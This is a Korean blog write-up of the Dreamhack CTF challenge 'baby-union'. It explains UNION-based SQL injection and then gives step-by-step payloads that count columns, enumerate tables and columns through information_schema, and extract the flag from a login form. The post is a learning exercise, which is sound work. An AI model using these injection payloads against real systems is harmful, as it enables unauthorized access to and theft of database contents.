본문 바로가기

SWLUG/CTF

[CTF/Dreamhack] baby-union

 

baby-union

Description 로그인 시 계정의 정보가 출력되는 웹 서비스입니다. SQL INJECTION 취약점을 통해 플래그를 획득하세요. 문제에서 주어진 init.sql 파일의 테이블명과 컬럼명은 실제 이름과 다릅니다. 플래

dreamhack.io

 

 

baby-union

 

문제 설명

 

* SQL Injection

사용자 입력값을 검증하지 않아 설계된 쿼리문에 의도하지 않은 쿼리를 임의로 삽입하여 악의적인 SQL 구문을 실행시키는 공격이다.

 

 

- SQL INJECTION 취약점이 무엇인가?

 

웹 어플리케이션과 데이터베이스 간의 연동에서 발생하는 취약점으로, 공격자가 입력 폼에 악의적으로 조작된 쿼리를 삽입하여 데이터베이스 정보를 불법적으로 열람하거나 조작할 수 있는 취약점

* SQL : 데이터베이스 관리를 위한 특수 목적의 프로그래밍 언어

 

 

- init.sql 파일의 테이블명과 컬럼명은 실제 이름과 다르다?

 

 

 

 

문제 분석

 

우선, 문제에서 init.sql 파일을 이야기하였으므로 다운로드 받은 파일 안에 있는 init.sql 코드를 확인해준다.

 

CREATE DATABASE secret_db;
GRANT ALL PRIVILEGES ON secret_db.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';

USE `secret_db`;
CREATE TABLE users (
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null,
  descr varchar(128) not null
);

INSERT INTO users (uid, upw, descr) values ('admin', 'apple', 'For admin');
INSERT INTO users (uid, upw, descr) values ('guest', 'melon', 'For guest');
INSERT INTO users (uid, upw, descr) values ('banana', 'test', 'For banana');
FLUSH PRIVILEGES;

CREATE TABLE fake_table_name (
  idx int auto_increment primary key,
  fake_col1 varchar(128) not null,
  fake_col2 varchar(128) not null,
  fake_col3 varchar(128) not null,
  fake_col4 varchar(128) not null
);

INSERT INTO fake_table_name (fake_col1, fake_col2, fake_col3, fake_col4) values ('flag is ', 'DH{sam','ple','flag}');

 

 

 

그 중 해당 코드가 로그인과 관련있어 보여 하나씩 넣어본 결과 아래와 같은 결과를 확인할 수 있었다.

 

 

 

 

SQL INJECTION 취약점을 이용하기 위해 SQL UNION에 대해 알아보았다.

 

SQL UNION 연산자는 두 개 이상의 SELECT 문의 결과를 결합하여 하나의 결과 집합으로 나타내는 데 사용된다. 

 

UNION SQL Injection은 기존의 SELECT문에 UNION SELECT문을 추가하여 원하는 정보를 데이터베이스에서 추출하는 공격이다.

공격자는 이러한 점을 이용하여 기존의 SELECT문에 원하는 데이터를 추출하기 위한 UNION SELECT문을 추가하여 쿼리 결과를 확인할 수 있다.

 

 

다음은 UNION SQL Injection 공격 진행 과정을 표로 나타낸 것이다. 

 

 

1) 먼저 컬럼 수를 알기 위해 입력해준다. 컬럼은 4개이다.

' UNION SELECT 1,2,3,4#

 

 

 

2) DB 명을 파악한다 (원하는 테이블과 컬럼을 파악하기 위해서)

여기서는 secret_db이다.

 

' UNION SELECT 1,database(),3,4#

 

 

 

 

3) Table 이름 파악하기 (원하는 데이터를 추출하기 위해서)

information_schema.tables을 이용하여 DB안에 있는 테이블들을 확인한다 

 

' UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema='secret_db';#

 

 

 

 

 

4)  Column 이름 파악하기 (원하는 데이터를 추출하기 위해서)

 information_schema.columns을 이용하여 테이블안에 있는 컬럼들을 확인한다. (only flag가 의심스러워서 우선 탐색)

 

' UNION SELECT 1,column_name,3,4 FROM information_schema.columns WHERE table_name='onlyflag';#

 

 

 

 

5) 데이터 추출하기
위에 얻은 정보로 원하는 데이터를 추출한다.

 

' UNION SELECT sname,sflag,3,svalue FROM onlyflag##

 

 

 

 

 

플래그를 획득한 줄 알았으나...! 이렇게만 입력하니 오류라고 떠서  아래와 같이 확인해보았다.

' union select svalue, sflag, null, sclose from onlyflag #

 

 

 

제대로 원하던 결과가 모두 나온 것을 확인할 수 있다.

 

 

 

 

 

 

 

 

처음 접했기에 이해 안 되는 부분도 많고 SQL에 대한 공부가 필요할 것 같다...!

 

 

 

 

 

참고

 

[Special Report] 웹 취약점과 해킹 매커니즘 #3 UNION SQL Injection

■ 개요 SQL Injection은 사용자 입력값을 검증하지 않아 설계된 쿼리문에 의도하지 않은 쿼리를 임의...

blog.naver.com

 

SQL Injection 정리

SQL Injection SQL Injection은 임의의 SQL문을 삽입하는 공격으로 로그인 인증을 우회하고 데이터를 추출하고 데이터를 변조할 수 있고 또 파일 업로드를 통해 웹쉘을 삽입하여 관리자 권한을 획득 해

jisu069.tistory.com

'SWLUG > CTF' 카테고리의 다른 글

[CTF/Dreamhack] simple-web-request  (0) 2024.05.11
[CTF/Dreamhack] pathtraversal  (0) 2024.05.11
[CTF/Dreamhack] phpreg  (0) 2024.05.06
[CTF/Dreamhack] php7cm4re & Flying Chars  (0) 2024.04.27
[CTF/Dreamhack] devtools-sources & Carve Party  (1) 2024.04.27